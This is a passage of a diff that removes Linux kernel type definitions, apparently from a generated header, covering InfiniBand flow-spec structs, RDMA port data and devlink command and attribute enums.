u32 type; - u16 size; - struct ib_flow_ipv6_filter val; - struct ib_flow_ipv6_filter mask; -}; - -struct ib_flow_tcp_udp_filter { - __be16 dst_port; - __be16 src_port; - u8 real_sz[0]; -}; - -struct ib_flow_spec_tcp_udp { - u32 type; - u16 size; - struct ib_flow_tcp_udp_filter val; - struct ib_flow_tcp_udp_filter mask; -}; - -struct ib_flow_tunnel_filter { - __be32 tunnel_id; - u8 real_sz[0]; -}; - -struct ib_flow_spec_tunnel { - u32 type; - u16 size; - struct ib_flow_tunnel_filter val; - struct ib_flow_tunnel_filter mask; -}; - -struct ib_flow_esp_filter { - __be32 spi; - __be32 seq; - u8 real_sz[0]; -}; - -struct ib_flow_spec_esp { - u32 type; - u16 size; - struct ib_flow_esp_filter val; - struct ib_flow_esp_filter mask; -}; - -struct ib_flow_gre_filter { - __be16 c_ks_res0_ver; - __be16 protocol; - __be32 key; - u8 real_sz[0]; -}; - -struct ib_flow_spec_gre { - u32 type; - u16 size; - struct ib_flow_gre_filter val; - struct ib_flow_gre_filter mask; -}; - -struct ib_flow_mpls_filter { - __be32 tag; - u8 real_sz[0]; -}; - -struct ib_flow_spec_mpls { - u32 type; - u16 size; - struct ib_flow_mpls_filter val; - struct ib_flow_mpls_filter mask; -}; - -struct ib_flow_spec_action_tag { - enum ib_flow_spec_type type; - u16 size; - u32 tag_id; -}; - -struct ib_flow_spec_action_drop { - enum ib_flow_spec_type type; - u16 size; -}; - -struct ib_flow_spec_action_handle { - enum ib_flow_spec_type type; - u16 size; - struct ib_flow_action *act; -}; - -enum ib_flow_action_type { - IB_FLOW_ACTION_UNSPECIFIED = 0, - IB_FLOW_ACTION_ESP = 1, -}; - -struct ib_flow_action { - struct ib_device *device; - struct ib_uobject *uobject; - enum ib_flow_action_type type; - atomic_t usecnt; -}; - -struct ib_flow_spec_action_count { - enum ib_flow_spec_type type; - u16 size; - struct ib_counters *counters; -}; - -struct ib_counters { - struct ib_device *device; - struct ib_uobject *uobject; - atomic_t usecnt; -}; - -union ib_flow_spec { - struct { - u32 type; - u16 size; - }; - struct ib_flow_spec_eth eth; - struct ib_flow_spec_ib ib; - struct ib_flow_spec_ipv4 ipv4; - struct ib_flow_spec_tcp_udp tcp_udp; - struct ib_flow_spec_ipv6 ipv6; - struct ib_flow_spec_tunnel tunnel; - struct ib_flow_spec_esp esp; - struct ib_flow_spec_gre gre; - struct ib_flow_spec_mpls mpls; - struct ib_flow_spec_action_tag flow_tag; - struct ib_flow_spec_action_drop drop; - struct ib_flow_spec_action_handle action; - struct ib_flow_spec_action_count flow_count; -}; - -struct ib_flow_attr { - enum ib_flow_attr_type type; - u16 size; - u16 priority; - u32 flags; - u8 num_of_specs; - u32 port; - union ib_flow_spec flows[0]; -}; - -struct ib_flow { - struct ib_qp *qp; - struct ib_device *device; - struct ib_uobject *uobject; -}; - -struct ib_pkey_cache; - -struct ib_gid_table; - -struct ib_port_cache { - u64 subnet_prefix; - struct ib_pkey_cache *pkey; - struct ib_gid_table *gid; - u8 lmc; - enum ib_port_state port_state; -}; - -struct ib_port_immutable { - int pkey_tbl_len; - int gid_tbl_len; - u32 core_cap_flags; - u32 max_mad_size; -}; - -struct ib_port; - -struct ib_port_data { - struct ib_device *ib_dev; - struct ib_port_immutable immutable; - spinlock_t pkey_list_lock; - spinlock_t netdev_lock; - struct list_head pkey_list; - struct ib_port_cache cache; - struct net_device *netdev; - struct hlist_node ndev_hash_link; - struct rdma_port_counter port_counter; - struct ib_port *sysfs; -}; - -struct rdma_netdev_alloc_params { - size_t sizeof_priv; - unsigned int txqs; - unsigned int rxqs; - void *param; - int (*initialize_rdma_netdev)(struct ib_device *, u32, struct net_device *, void *); -}; - -struct ib_counters_read_attr { - u64 *counters_buff; - u32 ncounters; - u32 flags; -}; - -struct rdma_user_mmap_entry { - struct kref ref; - struct ib_ucontext *ucontext; - long unsigned int start_pgoff; - size_t npages; - bool driver_removed; -}; - -enum devlink_command { - DEVLINK_CMD_UNSPEC = 0, - DEVLINK_CMD_GET = 1, - DEVLINK_CMD_SET = 2, - DEVLINK_CMD_NEW = 3, - DEVLINK_CMD_DEL = 4, - DEVLINK_CMD_PORT_GET = 5, - DEVLINK_CMD_PORT_SET = 6, - DEVLINK_CMD_PORT_NEW = 7, - DEVLINK_CMD_PORT_DEL = 8, - DEVLINK_CMD_PORT_SPLIT = 9, - DEVLINK_CMD_PORT_UNSPLIT = 10, - DEVLINK_CMD_SB_GET = 11, - DEVLINK_CMD_SB_SET = 12, - DEVLINK_CMD_SB_NEW = 13, - DEVLINK_CMD_SB_DEL = 14, - DEVLINK_CMD_SB_POOL_GET = 15, - DEVLINK_CMD_SB_POOL_SET = 16, - DEVLINK_CMD_SB_POOL_NEW = 17, - DEVLINK_CMD_SB_POOL_DEL = 18, - DEVLINK_CMD_SB_PORT_POOL_GET = 19, - DEVLINK_CMD_SB_PORT_POOL_SET = 20, - DEVLINK_CMD_SB_PORT_POOL_NEW = 21, - DEVLINK_CMD_SB_PORT_POOL_DEL = 22, - DEVLINK_CMD_SB_TC_POOL_BIND_GET = 23, - DEVLINK_CMD_SB_TC_POOL_BIND_SET = 24, - DEVLINK_CMD_SB_TC_POOL_BIND_NEW = 25, - DEVLINK_CMD_SB_TC_POOL_BIND_DEL = 26, - DEVLINK_CMD_SB_OCC_SNAPSHOT = 27, - DEVLINK_CMD_SB_OCC_MAX_CLEAR = 28, - DEVLINK_CMD_ESWITCH_GET = 29, - DEVLINK_CMD_ESWITCH_SET = 30, - DEVLINK_CMD_DPIPE_TABLE_GET = 31, - DEVLINK_CMD_DPIPE_ENTRIES_GET = 32, - DEVLINK_CMD_DPIPE_HEADERS_GET = 33, - DEVLINK_CMD_DPIPE_TABLE_COUNTERS_SET = 34, - DEVLINK_CMD_RESOURCE_SET = 35, - DEVLINK_CMD_RESOURCE_DUMP = 36, - DEVLINK_CMD_RELOAD = 37, - DEVLINK_CMD_PARAM_GET = 38, - DEVLINK_CMD_PARAM_SET = 39, - DEVLINK_CMD_PARAM_NEW = 40, - DEVLINK_CMD_PARAM_DEL = 41, - DEVLINK_CMD_REGION_GET = 42, - DEVLINK_CMD_REGION_SET = 43, - DEVLINK_CMD_REGION_NEW = 44, - DEVLINK_CMD_REGION_DEL = 45, - DEVLINK_CMD_REGION_READ = 46, - DEVLINK_CMD_PORT_PARAM_GET = 47, - DEVLINK_CMD_PORT_PARAM_SET = 48, - DEVLINK_CMD_PORT_PARAM_NEW = 49, - DEVLINK_CMD_PORT_PARAM_DEL = 50, - DEVLINK_CMD_INFO_GET = 51, - DEVLINK_CMD_HEALTH_REPORTER_GET = 52, - DEVLINK_CMD_HEALTH_REPORTER_SET = 53, - DEVLINK_CMD_HEALTH_REPORTER_RECOVER = 54, - DEVLINK_CMD_HEALTH_REPORTER_DIAGNOSE = 55, - DEVLINK_CMD_HEALTH_REPORTER_DUMP_GET = 56, - DEVLINK_CMD_HEALTH_REPORTER_DUMP_CLEAR = 57, - DEVLINK_CMD_FLASH_UPDATE = 58, - DEVLINK_CMD_FLASH_UPDATE_END = 59, - DEVLINK_CMD_FLASH_UPDATE_STATUS = 60, - DEVLINK_CMD_TRAP_GET = 61, - DEVLINK_CMD_TRAP_SET = 62, - DEVLINK_CMD_TRAP_NEW = 63, - DEVLINK_CMD_TRAP_DEL = 64, - DEVLINK_CMD_TRAP_GROUP_GET = 65, - DEVLINK_CMD_TRAP_GROUP_SET = 66, - DEVLINK_CMD_TRAP_GROUP_NEW = 67, - DEVLINK_CMD_TRAP_GROUP_DEL = 68, - DEVLINK_CMD_TRAP_POLICER_GET = 69, - DEVLINK_CMD_TRAP_POLICER_SET = 70, - DEVLINK_CMD_TRAP_POLICER_NEW = 71, - DEVLINK_CMD_TRAP_POLICER_DEL = 72, - DEVLINK_CMD_HEALTH_REPORTER_TEST = 73, - DEVLINK_CMD_RATE_GET = 74, - DEVLINK_CMD_RATE_SET = 75, - DEVLINK_CMD_RATE_NEW = 76, - DEVLINK_CMD_RATE_DEL = 77, - DEVLINK_CMD_LINECARD_GET = 78, - DEVLINK_CMD_LINECARD_SET = 79, - DEVLINK_CMD_LINECARD_NEW = 80, - DEVLINK_CMD_LINECARD_DEL = 81, - DEVLINK_CMD_SELFTESTS_GET = 82, - DEVLINK_CMD_SELFTESTS_RUN = 83, - __DEVLINK_CMD_MAX = 84, - DEVLINK_CMD_MAX = 83, -}; - -enum devlink_sb_pool_type { - DEVLINK_SB_POOL_TYPE_INGRESS = 0, - DEVLINK_SB_POOL_TYPE_EGRESS = 1, -}; - -enum devlink_sb_threshold_type { - DEVLINK_SB_THRESHOLD_TYPE_STATIC = 0, - DEVLINK_SB_THRESHOLD_TYPE_DYNAMIC = 1, -}; - -enum devlink_eswitch_encap_mode { - DEVLINK_ESWITCH_ENCAP_MODE_NONE = 0, - DEVLINK_ESWITCH_ENCAP_MODE_BASIC = 1, -}; - -enum devlink_param_cmode { - DEVLINK_PARAM_CMODE_RUNTIME = 0, - DEVLINK_PARAM_CMODE_DRIVERINIT = 1, - DEVLINK_PARAM_CMODE_PERMANENT = 2, - __DEVLINK_PARAM_CMODE_MAX = 3, - DEVLINK_PARAM_CMODE_MAX = 2, -}; - -enum { - DEVLINK_ATTR_STATS_RX_PACKETS = 0, - DEVLINK_ATTR_STATS_RX_BYTES = 1, - DEVLINK_ATTR_STATS_RX_DROPPED = 2, - __DEVLINK_ATTR_STATS_MAX = 3, - DEVLINK_ATTR_STATS_MAX = 2, -}; - -enum { - DEVLINK_FLASH_OVERWRITE_SETTINGS_BIT = 0, - DEVLINK_FLASH_OVERWRITE_IDENTIFIERS_BIT = 1, - __DEVLINK_FLASH_OVERWRITE_MAX_BIT = 2, - DEVLINK_FLASH_OVERWRITE_MAX_BIT = 1, -}; - -enum devlink_attr_selftest_id { - DEVLINK_ATTR_SELFTEST_ID_UNSPEC = 0, - DEVLINK_ATTR_SELFTEST_ID_FLASH = 1, - __DEVLINK_ATTR_SELFTEST_ID_MAX = 2, - DEVLINK_ATTR_SELFTEST_ID_MAX = 1, -}; - -enum devlink_selftest_status { - DEVLINK_SELFTEST_STATUS_SKIP = 0, - DEVLINK_SELFTEST_STATUS_PASS = 1, - DEVLINK_SELFTEST_STATUS_FAIL = 2, -}; - -enum devlink_attr_selftest_result { - DEVLINK_ATTR_SELFTEST_RESULT_UNSPEC = 0, - DEVLINK_ATTR_SELFTEST_RESULT = 1, - DEVLINK_ATTR_SELFTEST_RESULT_ID = 2, - DEVLINK_ATTR_SELFTEST_RESULT_STATUS = 3, - __DEVLINK_ATTR_SELFTEST_RESULT_MAX = 4, - DEVLINK_ATTR_SELFTEST_RESULT_MAX = 3, -}; - -enum devlink_trap_action { - DEVLINK_TRAP_ACTION_DROP = 0, - DEVLINK_TRAP_ACTION_TRAP = 1, - DEVLINK_TRAP_ACTION_MIRROR = 2, -}; - -enum devlink_trap_type { - DEVLINK_TRAP_TYPE_DROP = 0, - DEVLINK_TRAP_TYPE_EXCEPTION = 1, - DEVLINK_TRAP_TYPE_CONTROL = 2, -}; - -enum { - DEVLINK_ATTR_TRAP_METADATA_TYPE_IN_PORT = 0, - DEVLINK_ATTR_TRAP_METADATA_TYPE_FA_COOKIE = 1, -}; - -enum devlink_reload_action { - DEVLINK_RELOAD_ACTION_UNSPEC = 0, - DEVLINK_RELOAD_ACTION_DRIVER_REINIT = 1, - DEVLINK_RELOAD_ACTION_FW_ACTIVATE = 2, - __DEVLINK_RELOAD_ACTION_MAX = 3, - DEVLINK_RELOAD_ACTION_MAX = 2, -}; - -enum devlink_reload_limit { - DEVLINK_RELOAD_LIMIT_UNSPEC = 0, - DEVLINK_RELOAD_LIMIT_NO_RESET = 1, - __DEVLINK_RELOAD_LIMIT_MAX = 2, - DEVLINK_RELOAD_LIMIT_MAX = 1, -}; - -enum devlink_linecard_state { - DEVLINK_LINECARD_STATE_UNSPEC = 0, - DEVLINK_LINECARD_STATE_UNPROVISIONED = 1, - DEVLINK_LINECARD_STATE_UNPROVISIONING = 2, - DEVLINK_LINECARD_STATE_PROVISIONING = 3, - DEVLINK_LINECARD_STATE_PROVISIONING_FAILED = 4, - DEVLINK_LINECARD_STATE_PROVISIONED = 5, - DEVLINK_LINECARD_STATE_ACTIVE = 6, - __DEVLINK_LINECARD_STATE_MAX = 7, - DEVLINK_LINECARD_STATE_MAX = 6, -}; - -enum devlink_attr { - DEVLINK_ATTR_UNSPEC = 0, - DEVLINK_ATTR_BUS_NAME = 1, - DEVLINK_ATTR_DEV_NAME = 2, - DEVLINK_ATTR_PORT_INDEX = 3, - DEVLINK_ATTR_PORT_TYPE = 4, - DEVLINK_ATTR_PORT_DESIRED_TYPE = 5, - DEVLINK_ATTR_PORT_NETDEV_IFINDEX = 6, - DEVLINK_ATTR_PORT_NETDEV_NAME = 7, - DEVLINK_ATTR_PORT_IBDEV_NAME = 8, - DEVLINK_ATTR_PORT_SPLIT_COUNT = 9, - DEVLINK_ATTR_PORT_SPLIT_GROUP = 10, - DEVLINK_ATTR_SB_INDEX = 11, - DEVLINK_ATTR_SB_SIZE = 12, - DEVLINK_ATTR_SB_INGRESS_POOL_COUNT = 13, - DEVLINK_ATTR_SB_EGRESS_POOL_COUNT = 14, - DEVLINK_ATTR_SB_INGRESS_TC_COUNT = 15, - DEVLINK_ATTR_SB_EGRESS_TC_COUNT = 16, - DEVLINK_ATTR_SB_POOL_INDEX = 17, - DEVLINK_ATTR_SB_POOL_TYPE = 18, - DEVLINK_ATTR_SB_POOL_SIZE = 19, - DEVLINK_ATTR_SB_POOL_THRESHOLD_TYPE = 20, - DEVLINK_ATTR_SB_THRESHOLD = 21, - DEVLINK_ATTR_SB_TC_INDEX = 22, - DEVLINK_ATTR_SB_OCC_CUR = 23, - DEVLINK_ATTR_SB_OCC_MAX = 24, - DEVLINK_ATTR_ESWITCH_MODE = 25, - DEVLINK_ATTR_ESWITCH_INLINE_MODE = 26, - DEVLINK_ATTR_DPIPE_TABLES = 27, - DEVLINK_ATTR_DPIPE_TABLE = 28, - DEVLINK_ATTR_DPIPE_TABLE_NAME = 29, - DEVLINK_ATTR_DPIPE_TABLE_SIZE = 30, - DEVLINK_ATTR_DPIPE_TABLE_MATCHES = 31, - DEVLINK_ATTR_DPIPE_TABLE_ACTIONS = 32, - DEVLINK_ATTR_DPIPE_TABLE_COUNTERS_ENABLED = 33, - DEVLINK_ATTR_DPIPE_ENTRIES = 34, - DEVLINK_ATTR_DPIPE_ENTRY = 35, - DEVLINK_ATTR_DPIPE_ENTRY_INDEX = 36, - DEVLINK_ATTR_DPIPE_ENTRY_MATCH_VALUES = 37, - DEVLINK_ATTR_DPIPE_ENTRY_ACTION_VALUES = 38, - DEVLINK_ATTR_DPIPE_ENTRY_COUNTER = 39, - DEVLINK_ATTR_DPIPE_MATCH = 40, - DEVLINK_ATTR_DPIPE_MATCH_VALUE = 41, - DEVLINK_ATTR_DPIPE_MATCH_TYPE = 42, - DEVLINK_ATTR_DPIPE_ACTION = 43, - DEVLINK_ATTR_DPIPE_ACTION_VALUE = 44, - DEVLINK_ATTR_DPIPE_ACTION_TYPE = 45, - DEVLINK_ATTR_DPIPE_VALUE = 46, - DEVLINK_ATTR_DPIPE_VALUE_MASK = 47, - DEVLINK_ATTR_DPIPE_VALUE_MAPPING = 48, - DEVLINK_ATTR_DPIPE_HEADERS = 49, - DEVLINK_ATTR_DPIPE_HEADER = 50, - DEVLINK_ATTR_DPIPE_HEADER_NAME = 51, - DEVLINK_ATTR_DPIPE_HEADER_ID = 52, - DEVLINK_ATTR_DPIPE_HEADER_FIELDS = 53, - DEVLINK_ATTR_DPIPE_HEADER_GLOBAL = 54, - DEVLINK_ATTR_DPIPE_HEADER_INDEX = 55, - DEVLINK_ATTR_DPIPE_FIELD = 56, - DEVLINK_ATTR_DPIPE_FIELD_NAME = 57, - DEVLINK_ATTR_DPIPE_FIELD_ID = 58, - DEVLINK_ATTR_DPIPE_FIELD_BITWIDTH = 59, - DEVLINK_ATTR_DPIPE_FIELD_MAPPING_TYPE = 60, - DEVLINK_ATTR_PAD = 61, - DEVLINK_ATTR_ESWITCH_ENCAP_MODE = 62, - DEVLINK_ATTR_RESOURCE_LIST = 63, - DEVLINK_ATTR_RESOURCE = 64, - DEVLINK_ATTR_RESOURCE_NAME = 65, - DEVLINK_ATTR_RESOURCE_ID = 66, - DEVLINK_ATTR_RESOURCE_SIZE = 67, - DEVLINK_ATTR_RESOURCE_SIZE_NEW = 68, - DEVLINK_ATTR_RESOURCE_SIZE_VALID = 69, - DEVLINK_ATTR_RESOURCE_SIZE_MIN = 70, - DEVLINK_ATTR_RESOURCE_SIZE_MAX = 71, - DEVLINK_ATTR_RESOURCE_SIZE_GRAN = 72, - DEVLINK_ATTR_RESOURCE_UNIT = 73, - DEVLINK_ATTR_RESOURCE_OCC = 74, - DEVLINK_ATTR_DPIPE_TABLE_RESOURCE_ID = 75, - DEVLINK_ATTR_DPIPE_TABLE_RESOURCE_UNITS = 76, - DEVLINK_ATTR_PORT_FLAVOUR = 77, - DEVLINK_ATTR_PORT_NUMBER = 78, - DEVLINK_ATTR_PORT_SPLIT_SUBPORT_NUMBER = 79, - DEVLINK_ATTR_PARAM = 80, - DEVLINK_ATTR_PARAM_NAME = 81, - DEVLINK_ATTR_PARAM_GENERIC = 82, - DEVLINK_ATTR_PARAM_TYPE = 83, - DEVLINK_ATTR_PARAM_VALUES_LIST = 84, - DEVLINK_ATTR_PARAM_VALUE = 85, - DEVLINK_ATTR_PARAM_VALUE_DATA = 86, - DEVLINK_ATTR_PARAM_VALUE_CMODE = 87, - DEVLINK_ATTR_REGION_NAME = 88, - DEVLINK_ATTR_REGION_SIZE = 89, - DEVLINK_ATTR_REGION_SNAPSHOTS = 90, - DEVLINK_ATTR_REGION_SNAPSHOT = 91, - DEVLINK_ATTR_REGION_SNAPSHOT_ID = 92, - DEVLINK_ATTR_REGION_CHUNKS = 93, - DEVLINK_ATTR_REGION_CHUNK = 94, - DEVLINK_ATTR_REGION_CHUNK_DATA = 95, - DEVLINK_ATTR_REGION_CHUNK_ADDR = 96, - DEVLINK_ATTR_REGION_CHUNK_LEN = 97, - DEVLINK_ATTR_INFO_DRIVER_NAME = 98, - DEVLINK_ATTR_INFO_SERIAL_NUMBER = 99, - DEVLINK_ATTR_INFO_VERSION_FIXED = 100, - DEVLINK_ATTR_INFO_VERSION_RUNNING = 101, - DEVLINK_ATTR_INFO_VERSION_STORED = 102, - DEVLINK_ATTR_INFO_VERSION_NAME = 103, - DEVLINK_ATTR_INFO_VERSION_VALUE = 104, - DEVLINK_ATTR_SB_POOL_CELL_SIZE = 105, - DEVLINK_ATTR_FMSG = 106, - DEVLINK_ATTR_FMSG_OBJ_NEST_START = 107, - DEVLINK_ATTR_FMSG_PAIR_NEST_START = 108, - DEVLINK_ATTR_FMSG_ARR_NEST_START = 109, - DEVLINK_ATTR_FMSG_NEST_END = 110, - DEVLINK_ATTR_FMSG_OBJ_NAME = 111, - DEVLINK_ATTR_FMSG_OBJ_VALUE_TYPE = 112, - DEVLINK_ATTR_FMSG_OBJ_VALUE_DATA = 113, - DEVLINK_ATTR_HEALTH_REPORTER = 114, - DEVLINK_ATTR_HEALTH_REPORTER_NAME = 115, - DEVLINK_ATTR_HEALTH_REPORTER_STATE = 116, - DEVLINK_ATTR_HEALTH_REPORTER_ERR_COUNT = 117, - DEVLINK_ATTR_HEALTH_REPORTER_RECOVER_COUNT = 118, - DEVLINK_ATTR_HEALTH_REPORTER_DUMP_TS = 119, - DEVLINK_ATTR_HEALTH_REPORTER_GRACEFUL_PERIOD = 120, - DEVLINK_ATTR_HEALTH_REPORTER_AUTO_RECOVER = 121, - DEVLINK_ATTR_FLASH_UPDATE_FILE_NAME = 122, - DEVLINK_ATTR_FLASH_UPDATE_COMPONENT = 123, - DEVLINK_ATTR_FLASH_UPDATE_STATUS_MSG = 124, - DEVLINK_ATTR_FLASH_UPDATE_STATUS_DONE = 125, - DEVLINK_ATTR_FLASH_UPDATE_STATUS_TOTAL = 126, - DEVLINK_ATTR_PORT_PCI_PF_NUMBER = 127, - DEVLINK_ATTR_PORT_PCI_VF_NUMBER = 128, - DEVLINK_ATTR_STATS = 129, - DEVLINK_ATTR_TRAP_NAME = 130, - DEVLINK_ATTR_TRAP_ACTION = 131, - DEVLINK_ATTR_TRAP_TYPE = 132, - DEVLINK_ATTR_TRAP_GENERIC = 133, - DEVLINK_ATTR_TRAP_METADATA = 134, - DEVLINK_ATTR_TRAP_GROUP_NAME = 135, - DEVLINK_ATTR_RELOAD_FAILED = 136, - DEVLINK_ATTR_HEALTH_REPORTER_DUMP_TS_NS = 137, - DEVLINK_ATTR_NETNS_FD = 138, - DEVLINK_ATTR_NETNS_PID = 139, - DEVLINK_ATTR_NETNS_ID = 140, - DEVLINK_ATTR_HEALTH_REPORTER_AUTO_DUMP = 141, - DEVLINK_ATTR_TRAP_POLICER_ID = 142, - DEVLINK_ATTR_TRAP_POLICER_RATE = 143, - DEVLINK_ATTR_TRAP_POLICER_BURST = 144, - DEVLINK_ATTR_PORT_FUNCTION = 145, - DEVLINK_ATTR_INFO_BOARD_SERIAL_NUMBER = 146, - DEVLINK_ATTR_PORT_LANES = 147, - DEVLINK_ATTR_PORT_SPLITTABLE = 148, - DEVLINK_ATTR_PORT_EXTERNAL = 149, - DEVLINK_ATTR_PORT_CONTROLLER_NUMBER = 150, - DEVLINK_ATTR_FLASH_UPDATE_STATUS_TIMEOUT = 151, - DEVLINK_ATTR_FLASH_UPDATE_OVERWRITE_MASK = 152, - DEVLINK_ATTR_RELOAD_ACTION = 153, - DEVLINK_ATTR_RELOAD_ACTIONS_PERFORMED = 154, - DEVLINK_ATTR_RELOAD_LIMITS = 155, - DEVLINK_ATTR_DEV_STATS = 156, - DEVLINK_ATTR_RELOAD_STATS = 157, - DEVLINK_ATTR_RELOAD_STATS_ENTRY = 158, - DEVLINK_ATTR_RELOAD_STATS_LIMIT = 159, - DEVLINK_ATTR_RELOAD_STATS_VALUE = 160, - DEVLINK_ATTR_REMOTE_RELOAD_STATS = 161, - DEVLINK_ATTR_RELOAD_ACTION_INFO = 162, - DEVLINK_ATTR_RELOAD_ACTION_STATS = 163, - DEVLINK_ATTR_PORT_PCI_SF_NUMBER = 164, - DEVLINK_ATTR_RATE_TYPE = 165, - DEVLINK_ATTR_RATE_TX_SHARE = 166, - DEVLINK_ATTR_RATE_TX_MAX = 167, - DEVLINK_ATTR_RATE_NODE_NAME = 168, - DEVLINK_ATTR_RATE_PARENT_NODE_NAME = 169, - DEVLINK_ATTR_REGION_MAX_SNAPSHOTS = 170, - DEVLINK_ATTR_LINECARD_INDEX = 171, - DEVLINK_ATTR_LINECARD_STATE = 172, - DEVLINK_ATTR_LINECARD_TYPE = 173, - DEVLINK_ATTR_LINECARD_SUPPORTED_TYPES = 174, - DEVLINK_ATTR_NESTED_DEVLINK = 175, - DEVLINK_ATTR_SELFTESTS = 176, - DEVLINK_ATTR_RATE_TX_PRIORITY = 177, - DEVLINK_ATTR_RATE_TX_WEIGHT = 178, - DEVLINK_ATTR_REGION_DIRECT = 179, - __DEVLINK_ATTR_MAX = 180, - DEVLINK_ATTR_MAX = 179, -}; - -enum devlink_dpipe_field_mapping_type { - DEVLINK_DPIPE_FIELD_MAPPING_TYPE_NONE = 0, - DEVLINK_DPIPE_FIELD_MAPPING_TYPE_IFINDEX = 1, -}; - -enum devlink_dpipe_match_type { - DEVLINK_DPIPE_MATCH_TYPE_FIELD_EXACT = 0, -}; - -enum devlink_dpipe_action_type { - DEVLINK_DPIPE_ACTION_TYPE_FIELD_MODIFY = 0, -}; - -enum devlink_dpipe_field_ethernet_id { - DEVLINK_DPIPE_FIELD_ETHERNET_DST_MAC = 0, -}; - -enum devlink_dpipe_field_ipv4_id { - DEVLINK_DPIPE_FIELD_IPV4_DST_IP = 0, -}; - -enum devlink_dpipe_field_ipv6_id { - DEVLINK_DPIPE_FIELD_IPV6_DST_IP = 0, -}; - -enum devlink_dpipe_header_id { - DEVLINK_DPIPE_HEADER_ETHERNET = 0, - DEVLINK_DPIPE_HEADER_IPV4 = 1, - DEVLINK_DPIPE_HEADER_IPV6 = 2, -}; - -enum devlink_resource_unit { - DEVLINK_RESOURCE_UNIT_ENTRY = 0, -}; - -enum devlink_port_fn_attr_cap { - DEVLINK_PORT_FN_ATTR_CAP_ROCE_BIT = 0, - DEVLINK_PORT_FN_ATTR_CAP_MIGRATABLE_BIT = 1, - __DEVLINK_PORT_FN_ATTR_CAPS_MAX = 2, -}; - -enum devlink_port_function_attr { - DEVLINK_PORT_FUNCTION_ATTR_UNSPEC = 0, - DEVLINK_PORT_FUNCTION_ATTR_HW_ADDR = 1, - DEVLINK_PORT_FN_ATTR_STATE = 2, - DEVLINK_PORT_FN_ATTR_OPSTATE = 3, - DEVLINK_PORT_FN_ATTR_CAPS = 4, - __DEVLINK_PORT_FUNCTION_ATTR_MAX = 5, - DEVLINK_PORT_FUNCTION_ATTR_MAX = 4, -}; - -enum devlink_port_fn_state { - DEVLINK_PORT_FN_STATE_INACTIVE = 0, - DEVLINK_PORT_FN_STATE_ACTIVE = 1, -}; - -enum devlink_port_fn_opstate { - DEVLINK_PORT_FN_OPSTATE_DETACHED = 0, - DEVLINK_PORT_FN_OPSTATE_ATTACHED = 1, -}; - -struct devlink_linecard_ops; - -struct devlink_linecard_type; - -struct devlink_linecard { - struct list_head list; - struct devlink *devlink; - unsigned int index; - refcount_t refcount; - const struct devlink_linecard_ops *ops; - void *priv; - enum devlink_linecard_state state; - struct mutex state_lock; - const char *type; - struct devlink_linecard_type *types; - unsigned int types_count; - struct devlink *nested_devlink; -}; - -struct devlink_port_new_attrs { - enum devlink_port_flavour flavour; - unsigned int port_index; - u32 controller; - u32 sfnum; - u16 pfnum; - u8 port_index_valid: 1; - u8 controller_valid: 1; - u8 sfnum_valid: 1; -}; - -struct devlink_linecard_ops { - int (*provision)(struct devlink_linecard *, void *, const char *, const void *, struct netlink_ext_ack *); - int (*unprovision)(struct devlink_linecard *, void *, struct netlink_ext_ack *); - bool (*same_provision)(struct devlink_linecard *, void *, const char *, const void *); - unsigned int (*types_count)(struct devlink_linecard *, void *); - void (*types_get)(struct devlink_linecard *, void *, unsigned int, const char **, const void **); -}; - -struct devlink_sb_pool_info { - enum devlink_sb_pool_type pool_type; - u32 size; - enum devlink_sb_threshold_type threshold_type; - u32 cell_size; -}; - -struct devlink_dpipe_field { - const char *name; - unsigned int id; - unsigned int bitwidth; - enum devlink_dpipe_field_mapping_type mapping_type; -}; - -struct devlink_dpipe_header { - const char *name; - unsigned int id; - struct devlink_dpipe_field *fields; - unsigned int fields_count; - bool global; -}; - -struct devlink_dpipe_match { - enum devlink_dpipe_match_type type; - unsigned int header_index; - struct devlink_dpipe_header *header; - unsigned int field_id; -}; - -struct devlink_dpipe_action { - enum devlink_dpipe_action_type type; - unsigned int header_index; - struct devlink_dpipe_header *header; - unsigned int field_id; -}; - -struct devlink_dpipe_value { - union { - struct devlink_dpipe_action *action; - struct devlink_dpipe_match *match; - }; - unsigned int mapping_value; - bool mapping_valid; - unsigned int value_size; - void *value; - void *mask; -}; - -struct devlink_dpipe_entry { - u64 index; - struct devlink_dpipe_value *match_values; - unsigned int match_values_count; - struct devlink_dpipe_value *action_values; - unsigned int action_values_count; - u64 counter; - bool counter_valid; -}; - -struct devlink_dpipe_dump_ctx { - struct genl_info *info; - enum devlink_command cmd; - struct sk_buff *skb; - struct nlattr *nest; - void *hdr; -}; - -struct devlink_dpipe_table_ops; - -struct devlink_dpipe_table { - void *priv; - struct list_head list; - const char *name; - bool counters_enabled; - bool counter_control_extern; - bool resource_valid; - u64 resource_id; - u64 resource_units; - struct devlink_dpipe_table_ops *table_ops; - struct callback_head rcu; -}; - -struct devlink_dpipe_table_ops { - int (*actions_dump)(void *, struct sk_buff *); - int (*matches_dump)(void *, struct sk_buff *); - int (*entries_dump)(void *, bool, struct devlink_dpipe_dump_ctx *); - int (*counters_set_update)(void *, bool); - u64 (*size_get)(void *); -}; - -struct devlink_dpipe_headers { - struct devlink_dpipe_header **headers; - unsigned int headers_count; -}; - -struct devlink_resource_size_params { - u64 size_min; - u64 size_max; - u64 size_granularity; - enum devlink_resource_unit unit; -}; - -enum devlink_param_type { - DEVLINK_PARAM_TYPE_U8 = 0, - DEVLINK_PARAM_TYPE_U16 = 1, - DEVLINK_PARAM_TYPE_U32 = 2, - DEVLINK_PARAM_TYPE_STRING = 3, - DEVLINK_PARAM_TYPE_BOOL = 4, -}; - -union devlink_param_value { - u8 vu8; - u16 vu16; - u32 vu32; - char vstr[32]; - bool vbool; -}; - -struct devlink_param_gset_ctx { - union devlink_param_value val; - enum devlink_param_cmode cmode; -}; - -struct devlink_flash_notify { - const char *status_msg; - const char *component; - long unsigned int done; - long unsigned int total; - long unsigned int timeout; -}; - -struct devlink_param { - u32 id; - const char *name; - bool generic; - enum devlink_param_type type; - long unsigned int supported_cmodes; - int (*get)(struct devlink *, u32, struct devlink_param_gset_ctx *); - int (*set)(struct devlink *, u32, struct devlink_param_gset_ctx *); - int (*validate)(struct devlink *, u32, union devlink_param_value, struct netlink_ext_ack *); -}; - -struct devlink_param_item { - struct list_head list; - const struct devlink_param *param; - union devlink_param_value driverinit_value; - bool driverinit_value_valid; -}; - -enum devlink_param_generic_id { - DEVLINK_PARAM_GENERIC_ID_INT_ERR_RESET = 0, - DEVLINK_PARAM_GENERIC_ID_MAX_MACS = 1, - DEVLINK_PARAM_GENERIC_ID_ENABLE_SRIOV = 2, - DEVLINK_PARAM_GENERIC_ID_REGION_SNAPSHOT = 3, - 